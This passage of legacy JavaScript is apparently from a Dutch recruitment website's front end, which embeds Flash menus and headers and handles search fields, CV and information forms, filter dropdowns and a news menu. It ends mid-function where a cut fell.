// Create namespace
if ( ! window.nl.growwork ) {
	window.nl.growwork = {} ;
} ;

/**
 * Growwork Class
 */
nl.growwork.Growwork = function() {
	nl.xd.util.Event.addListener( window , 'load' , function() { nl.growwork.Growwork.DOC.show() ; } ) ;
} ;

/**
 * DOC Class
 */
nl.growwork.Growwork.DOC = function() {
	var flash ;
	
	return {
		show: function() {
			// add top menu
			var flashvars = {
			 	mm:window.mm,
				qm:window.qm,
				path:""
			};
			var params = {
			  menu: "false"
			};
			var attributes = {
			  id: "topheader_swf",
			  name: "topmenu_swf"
			};
			swfobject.embedSWF("swf/topmenubar.swf", "topmenubarflash", "912", "24", "8.0.0", "swf/expressInstall.swf", flashvars, params, attributes);
			
			// HOME
			if( window.template == "home" ){
				var flashvars = {
					th:window.th,
					path:""
				};
				var params = {
				  menu: "false"
				};
				var attributes = {
				  id: "topheader_swf",
				  name: "topheader_swf"
				};
				swfobject.embedSWF("swf/topheader.swf", "topheaderflash", "912", "336", "8.0.0", "swf/expressInstall.swf", flashvars, params, attributes);
			}
			
			// GRADUATES
			if( window.bc != undefined ){
				var flashvars = {
					bc:window.bc,
					path:""
				};
				var params = {
				  menu: "false"
				};
				var attributes = {
				  id: "topheader_swf",
				  name: "topheader_swf"
				};
				swfobject.embedSWF("swf/topheader_graduates.swf", "topheaderflash", "912", "98", "8.0.0", "swf/expressInstall.swf", flashvars, params, attributes);
			}
			
			// SUBMENU
			if( window.template == "graduates" || window.template == "standaard" || window.template == "opdrachtgevers" ){
				var flashvars = {
					sm:window.sm,
					path:""
				};
				var params = {
				  menu: "false"
				};
				var attributes = {
				  id: "submenu_swf",
				  name: "submenu_swf"
				};
				swfobject.embedSWF("swf/submenu.swf", "submenuflash", "219", "228", "8.0.0", "swf/expressInstall.swf", flashvars, params, attributes);
			}

			if( window.template == "testimonial" ){
				// testimonialsubmenu
				var flashvars = {
					sm:window.sm,
					path:""
				};
				var params = {
				  menu: "false"
				};
				var attributes = {
				  id: "submenu_swf",
				  name: "submenu_swf"
				};
				swfobject.embedSWF("swf/submenu.swf", "submenuflash", "219", "72", "8.0.0", "swf/expressInstall.swf", flashvars, params, attributes);
				
				// testimonialheader
				var flashvars = {
					sm:window.sm,
					tm:window.tm,
					path:""
				};
				var params = {
				  menu: "false"
				};
				var attributes = {
				  id: "testimonialheader_swf",
				  name: "testimonialheader_swf"
				};
				swfobject.embedSWF("swf/testimonialheader.swf", "testimonialheaderflash", "912", "228", "8.0.0", "swf/expressInstall.swf", flashvars, params, attributes);

			}

			if( window.template == "opdrachtgevers" ){
	
				// testimonialheader
				var flashvars = {
					og:window.og,
					path:""
				};
				var params = {
				  menu: "false"
				};
				var attributes = {
				  id: "opdrachtgeversheader_swf",
				  name: "opdrachtgeversheader_swf"
				};
				swfobject.embedSWF("swf/opdrachtgeversheader.swf", "opdrachtgeversheaderflash", "681", "228", "8.0.0", "swf/expressInstall.swf", flashvars, params, attributes);

			}
			
			try {
				document.execCommand( 'BackgroundImageCache' , false , true ) ;
			} catch( e ) {} ;

			// unhide the site
			var holder = nl.xd.util.DOM.get( 'wrapper' ) ;
			holder.style.display = 'block' ;

			var holder = nl.xd.util.DOM.get( 'fullbody' ) ;
			nl.xd.util.DOM.addClass( holder, 'fullback' );

			// replace h1 tags
			sIFR.replaceElement(named({ sSelector:"body h1", sFlashSrc:"swf/akkurat_light.swf", sColor:"#8AC53F", sLinkColor:"#000000", sBgColor:"#FFFFFF", sWmode: "transparent", sHoverColor:"#CCCCCC", nPaddingTop:0, nPaddingBottom:0, sFlashVars:"textalign=left&offsetTop=0"}));
/*
			var sm = nl.xd.util.DOM.get( 'submenu' ) ;
			if( sm ){
				var cs = nl.xd.util.DOM.get( 'contenholder' );
				var pos = nl.xd.util.DOM.position( cs );
				
				alert( cs.offsetHeight + ' x ' + pos[0] + ' y' + pos[1] );
				var newheight = ( cs.offsetHeight - 24 ) +'px';
				alert( newheight );
				sm.style.height = newheight;
			}
*/
			// replace flash headers
			/*
			var headertypes = new Array( {tag:'h1',size:'52'} , {tag:'h2',size:'18'} , {tag:'h3',size:'24'} , {tag:'h4',size:'18'} , {tag:'h5',size:'18'} , {tag:'h6',size:'18'} ) ;
			var color		= '#A0BE32' ;
			
			for ( var i = 0; i < headertypes.length; i++ ) {
				this.replaceHeaders( headertypes[ i ] , color ) ;
			} ;
			*/
			/*
			   if (typeof window.addEventListener != 'undefined') {
				 window.addEventListener(
				   'onresize',
				   this.fixPageCentering,
				   false
				 );
			   }
			  */ 
			if( window.template == 'vacature' ){
			} else {
				this.fixPageCentering();
			}
			
		} ,
		getWindowheight: function() { 
			  var myWidth = 0, myHeight = 0;
			  if( typeof( window.innerWidth ) == 'number' ) {
				//Non-IE
				myWidth = window.innerWidth;
				myHeight = window.innerHeight;
			  } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
				//IE 6+ in 'standards compliant mode'
				myWidth = document.documentElement.clientWidth;
				myHeight = document.documentElement.clientHeight;
			  } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
				//IE 4 compatible
				myWidth = document.body.clientWidth;
				myHeight = document.body.clientHeight;
			  }
 			return myHeight;
		},
		fixPageCentering: function(){
			var holder = nl.xd.util.DOM.get( 'wrapperborder' ) ;
			var wh = nl.growwork.Growwork.DOC.getWindowheight();
			if( wh > holder.offsetHeight ){
				holder.style.height = wh + 'px';
			}
		} ,
		replaceHeaders: function( headertype , bodycolor ) {
			var headers = this.getHeaders( headertype.tag ) ;
			
			for ( var i = 0; i < headers.length; i++ ) {
				if ( headers[ i ].innerHTML == '' ) {
					continue ;
				} ;
				
				var size = '' ;
				var color = '' ;
				var hover = '' ;
				var title = '' ;
				var link = '' ;
				
				switch ( headertype.tag ) {
					case 'h1' :
						color = bodycolor ;
						size  = headertype.size ;
						title = headers[ i ].innerHTML ;
						break ;
					case 'h2' :
					case 'h3' :
						color = '000000' ;
						size  = headertype.size ;
						title = headers[ i ].innerHTML ;
						break ;
					case 'h4' :
					case 'h5' :
						var a = headers[ i ].getElementsByTagName( 'a' ) ;
						
						if ( nl.xd.util.DOM.hasClass( headers[ i ] , 'inactive' ) ) {
							color = '000000' ;
						} else {
							color = bodycolor ;
						} ;
						
						size  = headertype.size ;
						title = a[ 0 ].innerHTML ;
						hover = bodycolor ;
						link  = a[ 0 ].href ;
						break ;
					case 'h6' :
						color = 'ffffff' ;
						size  = headertype.size ;
						title = headers[ i ].innerHTML ;
						break ;
				} ;
				
				var width 	   = '100%' ;
				var timestamp  = 2000 * Math.random() ;
				var height 	   = headers[ i ].offsetHeight ;
				var lineheight = parseInt( headertype.size ) + 4 ;
				var lines 	   = Math.ceil( height / lineheight ) ;
				
//				height += ( ( lines - 1 ) * 8 ) ;

				newtitle = encodeURI( title.replace( /&amp;/g , '%26' ) ) ;
				var flashvars  = '_xml=<header><size>' + size + '</size><color>' + color + '</color><hover>' + hover + '</hover><title><![CDATA[' + newtitle + ']]></title><link>' + link + '</link></header>' ;
				headers[ i ].innerHTML = window.nl.xd.flash.Simple.Standard( window._root + 'swf/h.swf' , width , height , flashvars , timestamp ) + '<span>' + title + '</span>' ;
			} ;
		} ,
		getColor: function() {
			var colors = new Array( {name:'purple',code:'872b93'} , {name:'green',code:'7fba00'} , {name:'orange',code:'ef6b00'} , {name:'blue',code:'0091c9'} ) ;
			var color  = document.body.id ;
			
			for ( var i = 0; i < colors.length; i++ ) {
				if ( color == colors[ i ].name ) {
					return colors[ i ].code ;
				} ;
			} ;
			
			return colors[ 0 ].code ;
		} ,
		getHeaders: function( tag ) {
			var elements = document.getElementsByTagName( tag ) ;
			var targets = new Array() ;
			
			for ( var i = 0; i < elements.length; i++ ) {
				targets[ targets.length ]= elements[ i ] ;
			} ;
			
			return targets ;
		} ,
		createCases: function() {
			var root  = nl.xd.util.DOM.get( 'cases' ) ;
			
			if ( root ) {
				var items = nl.xd.util.DOM.get( 'caseitems' ) ;
				var cases = items.getElementsByTagName( 'a' ) ;
				var color = this.getColor() ;
				
				var timestamp = 2000 * Math.random() ;
				var flashvars = '&c=' + color + '&ca=<ca>' ;
				
				for ( var i = 0; i < cases.length; i++ ) {
					flashvars += this.createCase( cases[ i ] ) ;
				} ;
				
				flashvars += '</ca>' ;
				
				items.innerHTML = window.nl.xd.flash.Simple.Standard( window._root + 'swf/case.swf' , '142' , '486' , flashvars , timestamp ) ;
			} ;
		} ,
		createCase: function( element ) {
			var text = escape( element.innerHTML ) ;
			var link  = escape( element.href ) ;
			
			return '<itm><i><![CDATA[' + link + ']]></i><q><![CDATA[' + text + ']]></q></itm>';
		}
	} ;
} () ;

/**
 * Search Class
 */
nl.growwork.Growwork.Search = function() {
	var defaultValue = 'zoekterm' ;
	
	return {
		_over: function( id ) {
			var item = nl.xd.util.DOM.get( id ) ;
			
			nl.xd.util.DOM.addClass( item , 'over' ) ;
		} ,
		_out: function( id ) {
			var item = nl.xd.util.DOM.get( id ) ;
			
			nl.xd.util.DOM.removeClass( item , 'over' ) ;
		} ,
		_submit: function() {
			var input = nl.xd.util.DOM.get( 'query' ) ;
			if ( input.value == defaultValue ) {
				return ;
			} ;
			
			var form = document.forms ['zoeken' ] ;
			
			form.submit() ;
		} ,
		_click: function( id ) {
			document.location = '?id=' + id ;
		} ,
		_focus: function() {
			var input = nl.xd.util.DOM.get( 'query' ) ;
			
			nl.xd.util.DOM.removeClass( input , 'default' ) ;
			
			if ( input.value == defaultValue ) {
				input.value = '' ;
			} ;
		} ,
		_blur: function() {
			var input = nl.xd.util.DOM.get( 'query' ) ;
			
			if ( input.value == '' ) {
				input.value = defaultValue ;
				nl.xd.util.DOM.addClass( input , 'default' ) ;
			} ;
		}
	} ;
} () ;

/**
 * CV Class
 */
nl.growwork.Growwork.CV = function() {
	return {
		browse: function() {
			var field = nl.xd.util.DOM.get( 'browse' ) ;
			nl.xd.util.DOM.removeClass( field , 'hidden' ) ;
		} ,
		send: function() {
			var form  = nl.xd.util.DOM.get( 'cvform' ) ;
			var check = nl.xd.form.Form.check( form ) ;
			
			if ( check ) {
				form.submit() ;
			} ;
		} ,
		reset: function() {
			var form = nl.xd.util.DOM.get( 'cvform' ) ;
			form.reset() ;
		} ,
		print: function() {
			window.print() ;
		}
	} ;
} () ;

/**
 * VS Class 
 * Vacature service
 */
nl.growwork.Growwork.VS = function() {
    return {
        send: function() {
            var form  = nl.xd.util.DOM.get( 'vsform' ) ;
            var check = nl.xd.form.Form.check( form ) ;
            
            if ( check ) {
                form.submit() ;
            } ;
        } ,
        reset: function() {
            var form = nl.xd.util.DOM.get( 'vsform' ) ;
            form.reset() ;
        } ,
        print: function() {
            window.print() ;
        }
    } ;
} () ;

/**
 * Info Class
 */
nl.growwork.Growwork.Info = function() {
	return {
		send: function() {
			var form  = nl.xd.util.DOM.get( 'informatieaanvragenform' ) ;
			var check = nl.xd.form.Form.check( form ) ;
			
			if ( check ) {
				form.submit() ;
			} ;
		} ,
		reset: function() {
			var form = nl.xd.util.DOM.get( 'informatieaanvragenform' ) ;
			form.reset() ;
		} ,
		print: function() {
			window.print() ;
		}
	} ;
} () ;

/**
 * SearchResult Class
 */
nl.growwork.Growwork.SearchResult = function() {
	return {
		over: function( item ) {
			nl.xd.util.DOM.addClass( item , 'hover' ) ;
		} ,
		out: function( item ) {
			nl.xd.util.DOM.removeClass( item , 'hover' ) ;
		} ,
		release: function( item ) {
		}
	} ;
} () ;

/**
 * Kandidaten Class
 */
nl.growwork.Growwork.Kandidaten = function( color , items ) {
	this.items     = items ;
	this.color     = color ;
	this.container = nl.xd.util.DOM.get( 'kandidaten' ) ;
	
	this.interval = null ;
	this.duration = 9 ;
	this.speed    = 45 ;
	this.time     = 0 ;
	
	this.flash() ;
} ;
nl.growwork.Growwork.Kandidaten.prototype.expand = function() {
	clearInterval( this.interval ) ;
	
	var self = this ;
	
	this.container.style.height = nl.xd.visual.animation.Ease.outQuadratic( this.time , this.duration , 165 , 135 ) + 'px' ;
	
	if ( this.time < this.duration ) {
		this.time++ ;
		this.interval = setInterval( function() { self.expand(); } , this.speed ) ;
	} else {
		this.time = 0 ;
		self = undefined ;
	} ;
} ;
nl.growwork.Growwork.Kandidaten.prototype.collapse = function( time ) {
	clearInterval( this.interval ) ;
	
	var self = this ;
	
	this.container.style.height = nl.xd.visual.animation.Ease.outQuadratic( this.time , this.duration , 300 , -135 ) + 'px' ;
	
	if ( this.time < this.duration ) {
		this.time++ ;
		this.interval = setInterval( function() { self.collapse(); } , this.speed ) ;
	} else {
		this.time = 0 ;
		self = undefined ;
	} ;
} ;
nl.growwork.Growwork.Kandidaten.prototype.flash = function() {
	var timestamp = 2000 * Math.random() ;
	var flashvars = 'ca=<xml>' ;
	
	for ( var i = 0; i < this.items.length; i++ ) {
		flashvars += this.createItem( this.items[ i ] ) ;
	} ;
	
	flashvars += '</xml>&co=' + this.color ;
	
	this.container.innerHTML = window.nl.xd.flash.Simple.Standard( window._root + 'swf/kandidaten.swf' , 680 , '300' , flashvars , timestamp ) ;
} ;
nl.growwork.Growwork.Kandidaten.prototype.createItem = function( item ) {
	var xml = '' ;
	
	xml += '<e>' ;
	xml += '<i><![CDATA[' + item._ID + ']]></i>' ;
	xml += '<q><![CDATA[' + item._quote + ']]></q>' ;
	xml += '<t><![CDATA[' + item._text + ']]></t>' ;
	xml += '<s><![CDATA[' + window._root + item._small_image + ']]></s>' ;
	xml += '<l><![CDATA[' + window._root + item._large_image + ']]></l>' ;
	xml += '</e>' ;
	
	return xml ;
} ;

/**
 * Trefwoord Class
 */
nl.growwork.Growwork.Trefwoord = function() {
	var defaultValue = 'Zoek op trefwoord' ;
	
	return {
		_focus: function() {
			var input = nl.xd.util.DOM.get( 'trefwoord' ) ;
			
			nl.xd.util.DOM.removeClass( input , 'default' ) ;
			
			if ( input.value == defaultValue ) {
				input.value = '' ;
			} ;
		} ,
		_blur: function() {
			var input = nl.xd.util.DOM.get( 'trefwoord' ) ;
			
			if ( input.value == '' ) {
				nl.xd.util.DOM.addClass( input , 'default' ) ;
				input.value = defaultValue ;
			} ;
		}
	} ;
} () ;

/**
 * Filter Class
 * 
 * @param string
 * @param string
 * @param string
 * @param string
 * @param Array
 * @param Array
 * @param boolean
 * @param integer
 * @param boolean
 */
nl.growwork.Growwork.Filter = function( baseurl , target , name , title , active , items , multiple , height , onchange ) {
	this.baseurl  = baseurl ;
	this.target   = nl.xd.util.DOM.get( target ) ;
	this.name     = name ;
	this.onchange = onchange ;
	 
	this.active   = new Array() ;
	this.multiple = multiple ;
	this.height   = height ;
	this.header   = null ;
	this.items    = null ;
	this.input    = null ;
	this.interval = null ;
	
	this.initialize( title , items , active , height ) ;
	this.attachEvents() ;
} ;

/**
 * Methods
 */
nl.growwork.Growwork.Filter.prototype = {
	/**
	 * @param string
	 * @param Array
	 * @param Array
	 * @param integer
	 * @return void
	 */
	initialize: function( title , items , active , height ) {
		var root = document.createElement( 'div' ) ;
		
		this.input = document.createElement( 'input' ) ;
		this.input.setAttribute( 'type' , 'hidden' ) ;
		this.input.setAttribute( 'name' , this.name ) ;
		
		nl.xd.util.DOM.addClass( root , 'filter' ) ;
		
		this.items  = new nl.growwork.Growwork.FilterItems( this , root , title , items , active , height ) ;
		this.header = new nl.growwork.Growwork.FilterHeader( this , root ) ;
		
		this.target.appendChild( root ) ;
		this.target.appendChild( this.input ) ;
		
		if ( ! this.active.length ) {
			var def = this.items.getDefault() ;
			def.active() ;
			this.active.push( def ) ;
		} ;
		
		this.setInput() ;
		this.setHeaderText() ;
	} ,
		
	/**
	 * @return void
	 */
	attachEvents: function() {
		var self = this ;
		
		nl.xd.util.Event.addListener( this.target , 'mouseover' , function() { self.over() ; } ) ;
		nl.xd.util.Event.addListener( this.target , 'mouseout' , function( e ) { self.out( e ) ; } ) ;
	} ,
	
	/**
	 * @param FilterItem
	 * @return void
	 */
	click: function( filterItem ) {
		if ( filterItem.item._id == 0 ) {
			if ( this.isActive( filterItem ) ) {
				filterItem.inactive() ;
			} else {
				for ( var i = 0; i < this.active.length; i++ ) {
					this.active[ i ].inactive() ;
				} ;
				
				this.active = [ filterItem ] ;
				
				filterItem.active() ;
			} ;
		} else {
			if ( this.isActive( filterItem ) ) {
				var index = -1 ;
				
				for ( var i = 0; i < this.active.length; i++ ) {
					if ( this.active[ i ] == filterItem ) {
						index = i ;
						break ;
					} ;
				} ;
				
				if ( index > -1 ) {
					this.active.splice( index ,1 ) ;
					filterItem.inactive() ;
				} ;
			} else {
				if ( this.multiple ) {
					for ( var i = 0; i < this.active.length; i++ ) {
						if ( this.active[ i ].item._id == 0 ) {
							this.active[ i ].inactive() ;
							this.active = [] ;
							
							break ;
						} ;
					} ;
					
					this.active.push( filterItem ) ;
					filterItem.active() ;
				} else {
					this.active[ 0 ].inactive()
					this.active[ 0 ] = filterItem ;
					filterItem.active() ;
				} ;
			} ;
		} ;
		
		this.setInput() ;
		this.setHeaderText() ;
		
		if ( this.onchange && filterItem.item._id != 0 ) {
			window.location = this.baseurl + '&' + this.name + '=' + filterItem.item._id ;
		} else if ( ! this.multiple ) {
			this.hide() ;
		} ;
	} ,
	
	/**
	 * @return void
	 */
	setInput: function() {
		var value = '' ;
		
		for ( var i = 0; i < this.active.length; i++ ) {
			if ( value != '' ) {
				value += '|' ;
			} ;
			
			value += this.active[ i ].item._id ;
		} ;
		
		this.input.value = value ;
	} ,
	
	/**
	 * @return void
	 */
	setHeaderText: function() {
		var headerText = '' ;
		var maxChars   = 31 ;
		
		for ( var i = 0; i < this.active.length; i++ ) {
			if ( headerText != '' ) {
				headerText += '/' ;
			} ;
			
			headerText += unescape( this.active[ i ].item._title ) ;
		} ;
		
		if ( headerText.length > maxChars ) {
			headerText = headerText.substr( 0, maxChars ) ;
		} ;
		
		this.header.setText( headerText ) ;
	} ,
	
	/**
	 * @param FilterItem
	 * @return boolean
	 */
	isActive: function( filterItem ) {
		for ( var i = 0; i < this.active.length; i++ ) {
			if ( this.active[ i ] == filterItem ) {
				return true ;
			} ;
		} ;
		
		return false ;
	} ,
	
	/**
	 * @return void
	 */
	over: function() {
		clearInterval( this.interval ) ;
	} ,
	
	/**
	 * @param Event
	 * @return void
	 */
	out: function( e ) {
		var target = nl.xd.util.Event.relatedTarget( e ) ;
		
		if ( target ) {
			while ( target.parentNode ) {
				target = target.parentNode ;
				
				if ( target == this.target ) {
					return ;
				} ;
			} ;
		} ;
		
		clearInterval( this.interval ) ;
		
		var self = this ;
		this.interval = setInterval( function() { self.hide() ; } , 300 ) ;
	} ,
	
	/**
	 * @return void
	 */
	hide: function() {
		this.items.hide() ;
	} ,
	
	/**
	 * @return void
	 */
	show: function() {
		clearInterval( this.interval ) ;
		
		this.items.show() ;
	}
} ;

/**
 * FilterHeader Class
 * 
 * @param Filter
 * @param HTMLElement
 */
nl.growwork.Growwork.FilterHeader = function( filter , root ) {
	this.filter = filter ;
	
	this.container = null ;
	this.hyperlink = null ;
	
	this.initialize( root ) ;
	this.attachEvents() ;
} ;

/**
 * Methods
 */
nl.growwork.Growwork.FilterHeader.prototype = {
	/**
	 * @param HTMLElement
	 * @return void
	 */
	initialize: function( root ) {
		this.container = document.createElement( 'div' ) ;
		this.hyperlink = document.createElement( 'a' ) ;
		
		nl.xd.util.DOM.addClass( this.container , 'header' ) ;
		
		this.hyperlink[ 'href' ] = 'javascript:void(null);' ;
		this.hyperlink.innerHTML = 'header' ;
		
		this.container.appendChild( this.hyperlink ) ;
		root.appendChild( this.container ) ;
	} ,
	
	/**
	 * @return void
	 */
	attachEvents: function() {
		var filter = this.filter ;
		
		nl.xd.util.Event.addListener( this.hyperlink , 'click' , function() { filter.show() ; } ) ;
	} ,
	
	/**
	 * @param string
	 * @return void
	 */
	setText: function( text ) {
		this.hyperlink.innerHTML = unescape( text ) ;
	}
} ;

/**
 * FilterItems Class
 * 
 * @param Filter
 * @param HTMLElement
 * @param string
 * @param Array
 * @param Array
 * @param integer
 */
nl.growwork.Growwork.FilterItems = function( filter , root , title , items , active , height ) {
	this.filter = filter ;
	
	this.items       = new Array() ;
	this.container   = null ;
	this.itemsholder = null ;
	
	this.initialize( root , title , items , height ) ;
	this.createItems( items , active ) ;
} ;

/**
 * Methods
 */
nl.growwork.Growwork.FilterItems.prototype = {
	/**
	 * @param HTMLElement
	 * @param string
	 * @param Array
	 * @param integer
	 * @return void
	 */
	initialize: function( root , title , items , height ) {
		this.container = document.createElement( 'div' ) ;
		
		nl.xd.util.DOM.addClass( this.container , 'none' ) ;
		nl.xd.util.DOM.addClass( this.container , 'items' ) ;
		
		
		var shadow = document.createElement( 'div' ) ;
		
		nl.xd.util.DOM.addClass( shadow , 'shadow' ) ;
		
		this.container.appendChild( shadow ) ;
		
		
		if ( title != null ) {
			var titleHolder = document.createElement( 'div' ) ;
			titleHolder.innerHTML = title ;
			
			nl.xd.util.DOM.addClass( titleHolder , 'subtitle' ) ;
			
			shadow.appendChild( titleHolder ) ;
		} ;
		
		this.itemsholder = document.createElement( 'div' ) ;
		
		if ( items.length > height ) {
			nl.xd.util.DOM.addClass( this.itemsholder , 'itemsscroller' ) ;
			
			this.itemsholder.style.height = ( height * 21 ) + 'px' ;
		} else {
			nl.xd.util.DOM.addClass( this.itemsholder , 'itemswrapper' ) ;
		} ;
		
		shadow.appendChild( this.itemsholder ) ;
		
		root.appendChild( this.container ) ;
	} ,
	
	/**
	 * @param Array
	 * @param Array
	 * @return void
	 */
	createItems: function( items , active ) {
		for ( var i = 0; i < items.length; i++ ) {
			var filterItem = new nl.growwork.Growwork.FilterItem( this.filter , this.itemsholder , i , items[ i ] ) ;
			
			this.items[ this.items.length ] = filterItem ;
			
			for ( var p = 0; p < active.length; p++ ) {
				if ( items[ i ]._id == active[ p ] ) {
					this.filter.active.push( filterItem ) ;
					filterItem.active() ;
					
					break ;
				} ;
			} ;
		} ;
	} ,
	
	/**
	 * @return FilterItem
	 */
	getDefault: function() {
		return this.items[ 0 ] ;
	} ,
	
	/**
	 * @return void
	 */
	hide: function() {
		nl.xd.util.DOM.addClass( this.container , 'none' ) ;
	} ,
	
	/**
	 * @return void
	 */
	show: function() {
		nl.xd.util.DOM.removeClass( this.container , 'none' ) ;
	}
} ;

/**
 * FilterItem Class
 * 
 * @param Filter
 * @param HTMLElement
 * @param integer
 * @param Object
 */
nl.growwork.Growwork.FilterItem = function( filter , root , index , item ) {
	this.filter = filter ;
	this.item   = item ;
	
	this.container = null ;
	this.link      = null ;
	
	this.initialize( root , index ) ;
	this.attachEvents() ;
} ;

/**
 * Methods
 */
nl.growwork.Growwork.FilterItem.prototype = {
	/**
	 * @param HTMLElement
	 * @param integer
	 * @return void
	 */
	initialize: function( root , index ) {
		if ( this.item._id != -1 ) {
			this.container = document.createElement( 'div' ) ;
			this.link      = document.createElement( 'a' ) ;
			
			nl.xd.util.DOM.addClass( this.container , 'item' ) ;
			
			if ( index == 0 ) {
				nl.xd.util.DOM.addClass( this.link , 'first' ) ;
			} ;
			
			this.link[ 'href' ] = '#' ;
			this.link.innerHTML = '<div>' + unescape( this.item._title ) + '</div>' ;
			
			this.container.appendChild( this.link ) ;
			root.appendChild( this.container ) ;
		} ;
	} ,
	
	/**
	 * @return void
	 */
	attachEvents: function() {
		if ( this.item._id != -1 ) {
			var self   = this ;
			var filter = this.filter ;
			
			nl.xd.util.Event.addListener( this.link , 'mousedown' , function( e ) { nl.xd.util.Event.preventDefault( e ) ; } ) ;
			nl.xd.util.Event.addListener( this.link , 'click' , function( e ) { filter.click( self ) ; } ) ;
		} ;
	} ,
	
	/**
	 * @return void
	 */
	active: function() {
		if ( this.item._id != -1 ) {
			nl.xd.util.DOM.addClass( this.container , 'active' ) ;
		} ;
	} ,
	
	/**
	 * @return void
	 */
	inactive: function() {
		if ( this.item._id != -1 ) {
			nl.xd.util.DOM.removeClass( this.container , 'active' ) ;
		} ;
	}
} ;






/**
 * Selector Class
 */
nl.growwork.Growwork.Selector = function( baseurl , name , active , items ) {
	this.baseurl = baseurl ;
	this.name    = name ;
	this.active  = active ;
	this.items   = items ;
	
	this.interval   = null ;
	this.itemHolder = null ;
	this.activeItem = this.getItem( this.active ) ;
	
	this.build() ;
} ;
nl.growwork.Growwork.Selector.prototype.build = function() {
	var root   = document.createElement( 'div' ) ;
	var parent = nl.xd.util.DOM.get( 'selectors' ) ;
	
	nl.xd.util.DOM.addClass( root , 'selector' ) ;
	
	this.createHeader( root ) ;
	this.createItems( root ) ;
	
	parent.appendChild( root ) ;
} ;
nl.growwork.Growwork.Selector.prototype.createHeader = function( root ) {
	var div = document.createElement( 'div' ) ;
	var a   = document.createElement( 'a' ) ;
	
	nl.xd.util.DOM.addClass( div , 'header' ) ;
	
	a[ 'href' ] = 'javascript:void(null);' ;
	
	if ( this.activeItem != null ) {
		a.innerHTML = unescape( decodeURI( this.activeItem._title ) ) ;
	} else {
		a.innerHTML = 'Kies ' + this.name ;
	} ;
	
	var selector = this ;
	
	nl.xd.util.Event.addListener( a , 'mouseover' , function() { selector.over() ; } ) ;
	nl.xd.util.Event.addListener( a , 'mouseout' , function() { selector.out() ; } ) ;
	
	div.appendChild( a ) ;
	root.appendChild( div ) ;
} ;
nl.growwork.Growwork.Selector.prototype.createItems = function( root ) {
	this.itemHolder = document.createElement( 'div' ) ;
	
	nl.xd.util.DOM.addClass( this.itemHolder , 'items' ) ;
	nl.xd.util.DOM.addClass( this.itemHolder , 'none' ) ;
	
	for ( var i = 0; i < this.items.length; i++ ) {
		if ( this.activeItem != null && this.activeItem._id == this.items[ i ]._id ) {
			continue ;
		} ;
		
		this.createItem( this.items[ i ] , this.itemHolder ) ;
	} ;
	
	root.appendChild( this.itemHolder ) ;
} ;
nl.growwork.Growwork.Selector.prototype.getItem = function( id ) {
	var item = null ;
	
	for ( var i = 0; i < this.items.length; i++ ) {
		if ( this.items[ i ]._id == id ) {
			item = this.items[ i ] ;
			break ;
		} ;
	} ;
	
	return item ;
} ;
nl.growwork.Growwork.Selector.prototype.createItem = function( item , holder ) {
	var div = document.createElement( 'div' ) ;
	var a   = document.createElement( 'a' ) ;
	
	nl.xd.util.DOM.addClass( div , 'item' ) ;
	
	a[ 'href' ] = this.baseurl + '&' + this.name.toLowerCase() + '=' + item._id ;
	a.innerHTML = unescape( decodeURI( item._title ) ) ;
	
	var selector = this ;
	
	nl.xd.util.Event.addListener( a , 'mouseover' , function() { selector.over() ; } ) ;
	nl.xd.util.Event.addListener( a , 'mouseout' , function() { selector.out() ; } ) ;
	
	div.appendChild( a ) ;
	holder.appendChild( div ) ;
} ;
nl.growwork.Growwork.Selector.prototype.over = function() {
	clearInterval( this.interval ) ;
	
	nl.xd.util.DOM.removeClass( this.itemHolder , 'none' ) ;
} ;
nl.growwork.Growwork.Selector.prototype.out = function() {
	clearInterval( this.interval ) ;
	
	var self = this ;
	
	this.interval = setInterval( function() { self.hide() ; } , 300 ) ;
} ;
nl.growwork.Growwork.Selector.prototype.hide = function() {
	clearInterval( this.interval ) ;
	
	nl.xd.util.DOM.addClass( this.itemHolder , 'none' ) ;
} ;

/**
 * NewsMenu Class
 */
nl.growwork.Growwork.NewsMenu = function( id , active , items ) {
	this.id = id ;
	this.active = active ;
	this.items = items ;
	
	this.flash() ;
} ;
nl.growwork.Growwork.NewsMenu.prototype.flash = function() {
	var timestamp = 2000 * Math.random() ;
	var flashvars = '_xml=<xml>' ;
	
	var url = document.URL ;
	var qmp = url.indexOf( '?' ) ;
	
	if ( qmp != - 1 ) {
		url = url.substring( 0 , qmp ) ;
	} ;
	
	flashvars += '<id>' + url + '?id=' + this.id + '</id>' ;
	flashvars += '<active>' + this.createItem( this.active ) + '</active>' ;
	flashvars += '<items>' ;
	
	for ( var i = 0; i < this.items.length; i++ ) {
		flashvars += this.createItem( this.items[ i ] ) ;
	} ;
	
	flashvars += '</items>' ;
	flashvars += '</xml>' ;
	
	var container = nl.xd.util.DOM.get( 'newsmenu' ) ;
	container.innerHTML = window.nl.xd.flash.Simple.Standard( window._root + 'swf/newsmenu.swf' , 680 , 80 , flashvars , timestamp ) ;
} ;
nl.growwork.Growwork.NewsMenu.prototype.createItem = function( item ) {
	var xml = '' ;
	
	xml += '<e>' ;
	xml += '<i><![CDATA[' + item._ID + ']]></i>' ;
	xml += '<d><![CDATA[' + item._date + ']]></d>' ;
	xml += '<t><![CDATA[' + item._title + ']]></t>' ;
	xml += '</e>' ;
	
	return xml ;
} ;

/**
 * Campaign Class
 */
nl.growwork.Growwork.Campaign = function( mainmenu , quickmenu , content , campaigns ) {
	this.mainmenu  = 'mm=<mm>' + this.createMenu( mainmenu ) + '</mm>';
	this.quickmenu = 'qm=<qm>' + this.createMenu( quickmenu ) + '</qm>' ;
	this.content   = 'co=<co>' + this.createContent( content ) + '</co>' ;
	this.campaigns = 'ca=<ca>' + this.createCampaigns( campaigns ) + '</ca>' ;
	
	window.flashPlayer = deconcept.SWFObjectUtil.getPlayerVersion() ;
	
	if ( window.flashPlayer.major >= 6 ) {
		this.flash() ;
	} else {
		this.noflash() ;
	} ;
} ;
nl.growwork.Growwork.Campaign.prototype.noflash = function() {
	document.write( 'Om deze site goed te kunnen bekijken moet u in het bezit zijn van <a href="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash&promoid=BIOW" target="_blank">Flash player</a> 6 of hoger.' )
}
nl.growwork.Growwork.Campaign.prototype.flash = function() {
	var middle    = nl.xd.util.DOM.get( 'middle' ) ;
	var timestamp = 2000 * Math.random() ;
	var flashvars = this.mainmenu + '&' + this.quickmenu + '&' + this.content + '&' + this.campaigns ;
	
